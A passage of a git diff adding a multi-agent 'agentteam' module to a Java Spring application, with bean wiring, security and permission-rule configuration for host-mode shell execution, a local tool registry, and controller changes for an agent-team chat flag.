+import com.openmanus.agentteam.domain.port.CommandExecutionPort;
+import com.openmanus.agentteam.domain.port.GitIntegrationPort;
+import com.openmanus.agentteam.domain.port.GitWorkspacePort;
+import com.openmanus.agentteam.domain.port.GitWorktreeProvisioningPort;
+import com.openmanus.agentteam.domain.port.TaskGroupRepositoryPort;
+import com.openmanus.agentteam.domain.port.TaskPoolPort;
+import com.openmanus.agentteam.domain.service.DefaultResultAggregationService;
+import com.openmanus.agentteam.domain.service.DefaultTaskGroupManager;
+import com.openmanus.agentteam.domain.service.ResultAggregationService;
+import com.openmanus.agentteam.domain.service.TaskGroupManager;
+import com.openmanus.agentteam.domain.service.TaskGroupStatusCalculator;
+import com.openmanus.agentteam.infra.AgentTeamCoordinatorFactory;
+import com.openmanus.agentteam.infra.BashSecurityChecker;
+import com.openmanus.agentteam.infra.ClasspathAgentTeamPromptProvider;
+import com.openmanus.agentteam.infra.GitWorktreeProvisioningService;
+import com.openmanus.agentteam.infra.HostModeExecutionGateway;
+import com.openmanus.agentteam.infra.InMemoryAgentMessageBus;
+import com.openmanus.agentteam.infra.InMemoryTaskGroupRepository;
+import com.openmanus.agentteam.infra.InMemoryTaskPool;
+import com.openmanus.agentteam.infra.LocalCommandExecutionService;
+import com.openmanus.agentteam.infra.LocalGitIntegrationService;
+import com.openmanus.agentteam.infra.LocalGitWorkspaceService;
+import com.openmanus.agentteam.infra.SubAgentWorkerManager;
+import com.openmanus.aiframework.runtime.AiChatModel;
+import com.openmanus.aiframework.runtime.AiMemoryProvider;
+import com.openmanus.aiframework.runtime.AiSessionSandboxGateway;
+import com.openmanus.domain.service.AgentExecutionPort;
+import com.openmanus.domain.service.ExecutionEventPort;
+import org.springframework.boot.context.properties.EnableConfigurationProperties;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Bean wiring for the agentteam module.
+ */
+@Configuration
+@EnableConfigurationProperties(AgentTeamProperties.class)
+public class AgentTeamConfig {
+
+ @Bean
+ TaskGroupStatusCalculator taskGroupStatusCalculator() {
+ return new TaskGroupStatusCalculator();
+ }
+
+ @Bean
+ TaskGroupRepositoryPort taskGroupRepositoryPort() {
+ return new InMemoryTaskGroupRepository();
+ }
+
+ @Bean
+ TaskPoolPort taskPoolPort(TaskGroupRepositoryPort repositoryPort) {
+ return new InMemoryTaskPool(repositoryPort);
+ }
+
+ @Bean
+ AgentMessageBusPort agentMessageBusPort() {
+ return new InMemoryAgentMessageBus();
+ }
+
+ @Bean
+ TaskGroupManager taskGroupManager(
+ TaskGroupRepositoryPort repositoryPort,
+ TaskGroupStatusCalculator statusCalculator
+ ) {
+ return new DefaultTaskGroupManager(repositoryPort, statusCalculator);
+ }
+
+ @Bean
+ ResultAggregationService resultAggregationService() {
+ return new DefaultResultAggregationService();
+ }
+
+ @Bean
+ AgentTeamPromptProvider agentTeamPromptProvider() {
+ return new ClasspathAgentTeamPromptProvider();
+ }
+
+ @Bean
+ TeamMasterToolPolicy teamMasterToolPolicy() {
+ return new TeamMasterToolPolicy();
+ }
+
+ @Bean
+ SubAgentToolPolicy subAgentToolPolicy() {
+ return new SubAgentToolPolicy();
+ }
+
+ @Bean
+ TaskDecompositionService taskDecompositionService(
+ AiChatModel aiChatModel,
+ ObjectMapper objectMapper,
+ AgentTeamPromptProvider promptProvider
+ ) {
+ return new TaskDecompositionService(aiChatModel, objectMapper, promptProvider);
+ }
+
+ @Bean
+ BashSecurityChecker bashSecurityChecker(AgentTeamProperties properties) {
+ return new BashSecurityChecker(properties.getSecurity());
+ }
+
+ @Bean
+ PermissionEvaluator permissionEvaluator(AgentTeamProperties properties) {
+ AgentTeamProperties.SecurityConfig security = properties.getSecurity();
+ List rules = security.getPermissionRules().stream()
+ .map(ruleConfig -> new PermissionRule(
+ extractToolName(ruleConfig.getPattern()),
+ extractContentPattern(ruleConfig.getPattern()),
+ "ALLOW".equalsIgnoreCase(ruleConfig.getBehavior())
+ ? PermissionBehavior.ALLOW
+ : PermissionBehavior.DENY,
+ ruleConfig.getPriority(),
+ ruleConfig.getDescription().isBlank()
+ ? ruleConfig.getPattern()
+ : ruleConfig.getDescription()
+ ))
+ .toList();
+ PermissionBehavior defaultBehavior = "ALLOW".equalsIgnoreCase(security.getDefaultBehavior())
+ ? PermissionBehavior.ALLOW
+ : PermissionBehavior.DENY;
+ return new PermissionEvaluator(rules, defaultBehavior);
+ }
+
+ /**
+ * Extracts the tool name from a "toolName:contentPattern" string.
+ * e.g. "bash:git status*" → "bash", "file:src/**" → "file"
+ */
+ private static String extractToolName(String fullPattern) {
+ int colonIdx = fullPattern.indexOf(':');
+ if (colonIdx > 0) {
+ return fullPattern.substring(0, colonIdx);
+ }
+ return "bash"; // default: treat as bash command
+ }
+
+ /**
+ * Extracts the content pattern from a "toolName:contentPattern" string.
+ * e.g. "bash:git status*" → "git status*"
+ */
+ private static String extractContentPattern(String fullPattern) {
+ int colonIdx = fullPattern.indexOf(':');
+ if (colonIdx > 0) {
+ return fullPattern.substring(colonIdx + 1);
+ }
+ return fullPattern;
+ }
+
+ @Bean
+ HostModeExecutionGateway hostModeExecutionGateway(BashSecurityChecker bashSecurityChecker) {
+ return new HostModeExecutionGateway(bashSecurityChecker);
+ }
+
+ @Bean
+ AgentTeamCoordinatorFactory agentTeamCoordinatorFactory(
+ AiChatModel aiChatModel,
+ AiMemoryProvider aiMemoryProvider,
+ AiSessionSandboxGateway sessionSandboxGateway,
+ HostModeExecutionGateway hostModeExecutionGateway,
+ OpenManusProperties properties,
+ ExecutionEventPort executionEventPort,
+ LocalAgentToolRegistry localAgentToolRegistry,
+ AgentTeamPromptProvider promptProvider,
+ TeamMasterToolPolicy teamMasterToolPolicy,
+ SubAgentToolPolicy subAgentToolPolicy
+ ) {
+ return new AgentTeamCoordinatorFactory(
+ aiChatModel,
+ aiMemoryProvider,
+ sessionSandboxGateway,
+ hostModeExecutionGateway,
+ properties,
+ executionEventPort,
+ localAgentToolRegistry,
+ promptProvider,
+ teamMasterToolPolicy,
+ subAgentToolPolicy
+ );
+ }
+
+ @Bean
+ AgentTeamRoleExecutionPort agentTeamRoleExecutionPort(AgentTeamCoordinatorFactory coordinatorFactory) {
+ return new AgentTeamRoleExecutionService(coordinatorFactory);
+ }
+
+ @Bean
+ GitWorktreeProvisioningPort gitWorktreeProvisioningPort() {
+ return new GitWorktreeProvisioningService();
+ }
+
+ @Bean
+ GitWorkspacePort gitWorkspacePort() {
+ return new LocalGitWorkspaceService();
+ }
+
+ @Bean
+ ParallelCodingPlanner parallelCodingPlanner() {
+ return new ParallelCodingPlanner();
+ }
+
+ @Bean
+ GitIntegrationPort gitIntegrationPort() {
+ return new LocalGitIntegrationService();
+ }
+
+ @Bean
+ CommandExecutionPort commandExecutionPort() {
+ return new LocalCommandExecutionService();
+ }
+
+ @Bean
+ IntegrationCoordinator integrationCoordinator(
+ GitIntegrationPort gitIntegrationPort,
+ CommandExecutionPort commandExecutionPort
+ ) {
+ return new IntegrationCoordinator(gitIntegrationPort, commandExecutionPort);
+ }
+
+ @Bean
+ SubAgentExecutionService subAgentExecutionService(
+ AgentTeamRoleExecutionPort roleExecutionPort,
+ AgentTeamPromptProvider promptProvider
+ ) {
+ return new SubAgentExecutionService(roleExecutionPort, promptProvider);
+ }
+
+ @Bean
+ SubAgentCodingExecutionService subAgentCodingExecutionService(
+ AgentTeamRoleExecutionPort roleExecutionPort,
+ GitWorkspacePort gitWorkspacePort
+ ) {
+ return new SubAgentCodingExecutionService(roleExecutionPort, gitWorkspacePort);
+ }
+
+ @Bean(destroyMethod = "close")
+ SubAgentWorkerManager subAgentWorkerManager(
+ AgentTeamProperties properties,
+ TaskPoolPort taskPoolPort,
+ AgentMessageBusPort messageBusPort,
+ SubAgentExecutionService executionService
+ ) {
+ return new SubAgentWorkerManager(
+ properties.getWorkerCount(),
+ properties.getIdlePollIntervalMillis(),
+ taskPoolPort,
+ messageBusPort,
+ executionService
+ );
+ }
+
+ @Bean
+ MasterAgentOrchestrator masterAgentOrchestrator(
+ AgentExecutionPort agentExecutionPort,
+ TaskDecompositionService taskDecompositionService,
+ TaskGroupManager taskGroupManager,
+ TaskPoolPort taskPoolPort,
+ ResultAggregationService resultAggregationService,
+ SubAgentWorkerManager subAgentWorkerManager,
+ AgentTeamProperties properties
+ ) {
+ return new MasterAgentOrchestrator(
+ agentExecutionPort,
+ taskDecompositionService,
+ taskGroupManager,
+ taskPoolPort,
+ resultAggregationService,
+ subAgentWorkerManager,
+ properties.getMasterPollIntervalMillis(),
+ properties.getMaxSubTasksPerGroup()
+ );
+ }
+
+ @Bean
+ AgentTeamApplicationService agentTeamApplicationService(MasterAgentOrchestrator masterAgentOrchestrator) {
+ return new AgentTeamApplicationService(masterAgentOrchestrator);
+ }
+
+ @Bean
+ ParallelCodingOrchestrator parallelCodingOrchestrator(
+ AgentExecutionPort agentExecutionPort,
+ ParallelCodingPlanner parallelCodingPlanner,
+ GitWorktreeProvisioningPort gitWorktreeProvisioningPort,
+ SubAgentCodingExecutionService subAgentCodingExecutionService,
+ IntegrationCoordinator integrationCoordinator,
+ AgentTeamProperties properties
+ ) {
+ return new ParallelCodingOrchestrator(
+ agentExecutionPort,
+ parallelCodingPlanner,
+ gitWorktreeProvisioningPort,
+ subAgentCodingExecutionService,
+ integrationCoordinator,
+ properties.getMaxSubTasksPerGroup()
+ );
+ }
+
+ @Bean
+ AgentTeamCodingApplicationService agentTeamCodingApplicationService(
+ ParallelCodingOrchestrator parallelCodingOrchestrator
+ ) {
+ return new AgentTeamCodingApplicationService(parallelCodingOrchestrator);
+ }
+}
diff --git a/src/main/java/com/openmanus/infra/config/AgentTeamProperties.java b/src/main/java/com/openmanus/infra/config/AgentTeamProperties.java
new file mode 100644
index 0000000..04a62ef
--- /dev/null
+++ b/src/main/java/com/openmanus/infra/config/AgentTeamProperties.java
@@ -0,0 +1,57 @@
+package com.openmanus.infra.config;
+
+import lombok.Data;
+import org.springframework.boot.context.properties.ConfigurationProperties;
+import org.springframework.boot.context.properties.NestedConfigurationProperty;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Runtime configuration for the agentteam module.
+ */
+@Data
+@ConfigurationProperties(prefix = "openmanus.agentteam")
+public class AgentTeamProperties {
+
+ private boolean enabled = true;
+ private int workerCount = 3;
+ private long idlePollIntervalMillis = 500L;
+ private long masterPollIntervalMillis = 300L;
+ private int maxSubTasksPerGroup = 5;
+
+ @NestedConfigurationProperty
+ private SecurityConfig security = new SecurityConfig();
+
+ /**
+ * Security configuration for agentteam host-mode execution.
+ */
+ @Data
+ public static class SecurityConfig {
+ /** Master switch — when false, all security checks are bypassed. */
+ private boolean enabled = true;
+ /** Commands starting with any of these prefixes are denied (after HARD_BLOCK check). */
+ private List denyCommands = new ArrayList<>();
+ /** Commands starting with any of these prefixes bypass the deny list (but NOT HARD_BLOCK). */
+ private List allowCommands = new ArrayList<>();
+ /** Extra paths that CODING_SUB_AGENT is allowed to access beyond the worktree root. */
+ private List allowedPaths = new ArrayList<>();
+ /** Maximum length of a shell command. Commands exceeding this are rejected. */
+ private int maxCommandLength = 4096;
+ /** Permission rules used by PermissionEvaluator. */
+ private List permissionRules = new ArrayList<>();
+ /** Default behavior when no rule matches. ALLOW or DENY. */
+ private String defaultBehavior = "DENY";
+ }
+
+ /**
+ * A single permission rule entry loaded from YAML.
+ */
+ @Data
+ public static class PermissionRuleConfig {
+ private String pattern = "";
+ private String behavior = "ALLOW";
+ private int priority = 5;
+ private String description = "";
+ }
+}
diff --git a/src/main/java/com/openmanus/infra/config/DomainServiceConfig.java b/src/main/java/com/openmanus/infra/config/DomainServiceConfig.java
index 8478c95..f639475 100644
--- a/src/main/java/com/openmanus/infra/config/DomainServiceConfig.java
+++ b/src/main/java/com/openmanus/infra/config/DomainServiceConfig.java
@@ -1,5 +1,11 @@
package com.openmanus.infra.config;
+import com.openmanus.agentteam.application.AgentTeamApplicationService;
+import com.openmanus.agentteam.application.AgentTeamCodingApplicationService;
+import com.openmanus.agentteam.application.AgentTeamCodingExecutionStreamingApplicationService;
+import com.openmanus.agentteam.application.AgentTeamConversationApplicationService;
+import com.openmanus.agentteam.application.AgentTeamExecutionStreamingApplicationService;
+import com.openmanus.infra.config.AgentTeamProperties;
import com.openmanus.domain.service.ConversationApplicationService;
import com.openmanus.domain.service.AgentExecutionPort;
import com.openmanus.domain.service.ExecutionStreamingApplicationService;
@@ -16,6 +22,7 @@
import org.springframework.context.annotation.Configuration;
import org.springframework.beans.factory.annotation.Qualifier;
+import java.nio.file.Path;
import java.util.concurrent.Executor;
@Configuration
@@ -43,6 +50,55 @@ ExecutionStreamingApplicationService executionStreamingApplicationService(AgentE
);
}
+ @Bean
+ AgentTeamConversationApplicationService agentTeamConversationApplicationService(
+ AgentTeamApplicationService agentTeamApplicationService,
+ ExecutionEventPort executionEventPort,
+ SessionExecutionGuard sessionExecutionGuard,
+ @Qualifier(AsyncConfig.ASYNC_EXECUTOR_NAME) Executor asyncExecutor) {
+ return new AgentTeamConversationApplicationService(
+ agentTeamApplicationService,
+ executionEventPort,
+ sessionExecutionGuard,
+ asyncExecutor
+ );
+ }
+
+ @Bean
+ AgentTeamExecutionStreamingApplicationService agentTeamExecutionStreamingApplicationService(
+ AgentTeamApplicationService agentTeamApplicationService,
+ ExecutionEventPort executionEventPort,
+ ExecutionStreamPublisher streamPublisher,
+ @Qualifier(AsyncConfig.ASYNC_EXECUTOR_NAME) Executor asyncExecutor,
+ SessionExecutionGuard sessionExecutionGuard) {
+ return new AgentTeamExecutionStreamingApplicationService(
+ agentTeamApplicationService,
+ executionEventPort,
+ streamPublisher,
+ asyncExecutor,
+ sessionExecutionGuard
+ );
+ }
+
+ @Bean
+ AgentTeamCodingExecutionStreamingApplicationService agentTeamCodingExecutionStreamingApplicationService(
+ AgentTeamCodingApplicationService agentTeamCodingApplicationService,
+ ExecutionEventPort executionEventPort,
+ ExecutionStreamPublisher streamPublisher,
+ @Qualifier(AsyncConfig.ASYNC_EXECUTOR_NAME) Executor asyncExecutor,
+ SessionExecutionGuard sessionExecutionGuard,
+ AgentTeamProperties agentTeamProperties) {
+ return new AgentTeamCodingExecutionStreamingApplicationService(
+ agentTeamCodingApplicationService,
+ executionEventPort,
+ streamPublisher,
+ asyncExecutor,
+ sessionExecutionGuard,
+ Path.of("").toAbsolutePath().normalize(),
+ agentTeamProperties.isEnabled()
+ );
+ }
+
@Bean
SessionExecutionGuard sessionExecutionGuard() {
return new InMemorySessionExecutionGuard();
diff --git a/src/main/java/com/openmanus/infra/config/LocalAgentToolRegistry.java b/src/main/java/com/openmanus/infra/config/LocalAgentToolRegistry.java
new file mode 100644
index 0000000..9d4eed0
--- /dev/null
+++ b/src/main/java/com/openmanus/infra/config/LocalAgentToolRegistry.java
@@ -0,0 +1,72 @@
+package com.openmanus.infra.config;
+
+import com.openmanus.agent.tool.BrowserTool;
+import com.openmanus.agent.tool.PythonExecutionTool;
+import com.openmanus.agent.tool.SearchTool;
+import com.openmanus.agent.tool.ShellTool;
+import com.openmanus.agent.tool.TaskReflectionTool;
+import com.openmanus.agent.tool.WebFetchTool;
+import com.openmanus.aiframework.tool.AiRegisteredTool;
+import com.openmanus.aiframework.tool.AiToolRegistry;
+
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Centralized local tool registry shared by default agent and agentteam.
+ */
+public class LocalAgentToolRegistry {
+
+ private final BrowserTool browserTool;
+ private final PythonExecutionTool pythonExecutionTool;
+ private final SearchTool searchTool;
+ private final WebFetchTool webFetchTool;
+ private final ShellTool shellTool;
+ private final TaskReflectionTool taskReflectionTool;
+ private final boolean shellToolEnabled;
+
+ public LocalAgentToolRegistry(
+ BrowserTool browserTool,
+ PythonExecutionTool pythonExecutionTool,
+ SearchTool searchTool,
+ WebFetchTool webFetchTool,
+ ShellTool shellTool,
+ TaskReflectionTool taskReflectionTool,
+ boolean shellToolEnabled
+ ) {
+ this.browserTool = browserTool;
+ this.pythonExecutionTool = pythonExecutionTool;
+ this.searchTool = searchTool;
+ this.webFetchTool = webFetchTool;
+ this.shellTool = shellTool;
+ this.taskReflectionTool = taskReflectionTool;
+ this.shellToolEnabled = shellToolEnabled;
+ }
+
+ public List allLocalTools() {
+ Map registry = new LinkedHashMap<>();
+ appendLocalTools(registry, browserTool);
+ appendLocalTools(registry, pythonExecutionTool);
+ appendLocalTools(registry, searchTool);
+ appendLocalTools(registry, webFetchTool);
+ if (shellToolEnabled) {
+ appendLocalTools(registry, shellTool);
+ }
+ appendLocalTools(registry, taskReflectionTool);
+ return new ArrayList<>(registry.values());
+ }
+
+ public static void appendLocalTools(Map targetRegistry, Object toolObject) {
+ if (toolObject == null) {
+ return;
+ }
+ for (AiRegisteredTool localTool : AiToolRegistry.scan(toolObject)) {
+ AiRegisteredTool existing = targetRegistry.putIfAbsent(localTool.name(), localTool);
+ if (existing != null) {
+ throw new IllegalStateException("Duplicate tool name detected: " + localTool.name());
+ }
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/infra/web/AgentController.java b/src/main/java/com/openmanus/infra/web/AgentController.java
index bd8bd24..3de3461 100644
--- a/src/main/java/com/openmanus/infra/web/AgentController.java
+++ b/src/main/java/com/openmanus/infra/web/AgentController.java
@@ -1,15 +1,20 @@
package com.openmanus.infra.web;
+import com.openmanus.agentteam.application.AgentTeamConversationApplicationService;
+import com.openmanus.agentteam.application.AgentTeamCodingExecutionStreamingApplicationService;
+import com.openmanus.agentteam.application.AgentTeamExecutionStreamingApplicationService;
import com.openmanus.domain.model.ExecutionErrorCodes;
import com.openmanus.domain.model.ExecutionRequest;
import com.openmanus.domain.model.ExecutionResponse;
import com.openmanus.domain.service.ConversationApplicationService;
import com.openmanus.domain.service.ExecutionStreamingApplicationService;
import com.openmanus.domain.service.SessionIdPolicy;
+import com.openmanus.infra.config.AgentTeamProperties;
import com.openmanus.sandbox.domain.model.SessionSandboxInfo;
import com.openmanus.sandbox.application.SandboxSessionApplicationService;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
+import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
@@ -25,21 +30,34 @@
@RestController
@RequestMapping("/api/agent")
@Tag(name = "Agent API", description = "Web API interface for intelligent agent")
+@Slf4j
public class AgentController {
private static final String ERROR_EMPTY_INPUT = "输入不能为空";
private static final String ERROR_SESSION_BUSY = "当前会话正在执行中,请稍后重试";
private static final String ERROR_ASYNC_SUBMIT_FAILED = "任务提交失败,请稍后重试";
private static final String ERROR_ASYNC_SUBMIT_EXCEPTION = "任务提交异常,请稍后重试";
private final ConversationApplicationService conversationApplicationService;
+ private final AgentTeamConversationApplicationService agentTeamConversationApplicationService;
+ private final AgentTeamExecutionStreamingApplicationService agentTeamExecutionStreamingApplicationService;
+ private final AgentTeamCodingExecutionStreamingApplicationService agentTeamCodingExecutionStreamingApplicationService;
private final ExecutionStreamingApplicationService executionStreamingApplicationService;
+ private final AgentTeamProperties agentTeamProperties;
private final SandboxSessionApplicationService sandboxSessionApplicationService;
-
+
public AgentController(
ConversationApplicationService conversationApplicationService,
+ AgentTeamConversationApplicationService agentTeamConversationApplicationService,
+ AgentTeamExecutionStreamingApplicationService agentTeamExecutionStreamingApplicationService,
+ AgentTeamCodingExecutionStreamingApplicationService agentTeamCodingExecutionStreamingApplicationService,
ExecutionStreamingApplicationService executionStreamingApplicationService,
+ AgentTeamProperties agentTeamProperties,
SandboxSessionApplicationService sandboxSessionApplicationService) {
this.conversationApplicationService = conversationApplicationService;
+ this.agentTeamConversationApplicationService = agentTeamConversationApplicationService;
+ this.agentTeamExecutionStreamingApplicationService = agentTeamExecutionStreamingApplicationService;
+ this.agentTeamCodingExecutionStreamingApplicationService = agentTeamCodingExecutionStreamingApplicationService;
this.executionStreamingApplicationService = executionStreamingApplicationService;
+ this.agentTeamProperties = agentTeamProperties;
this.sandboxSessionApplicationService = sandboxSessionApplicationService;
}
/**
@@ -58,6 +76,7 @@ public AgentController(
public CompletableFuture>> chat(
@RequestBody Map payload,
@RequestParam(defaultValue = "false") boolean stateful,
+ @RequestParam(defaultValue = "false") boolean agentTeam,
@RequestParam(defaultValue = "false") boolean sync) {
String message = payload.get("message");
@@ -74,10 +93,12 @@ public CompletableFuture>> chat(
}
try {
- return conversationApplicationService.chat(message, conversationId, sync)
- .handle((result, throwable) -> throwable == null
- ? toChatResponse(result)
- : buildChatInternalErrorResponse(conversationId));
+ CompletableFuture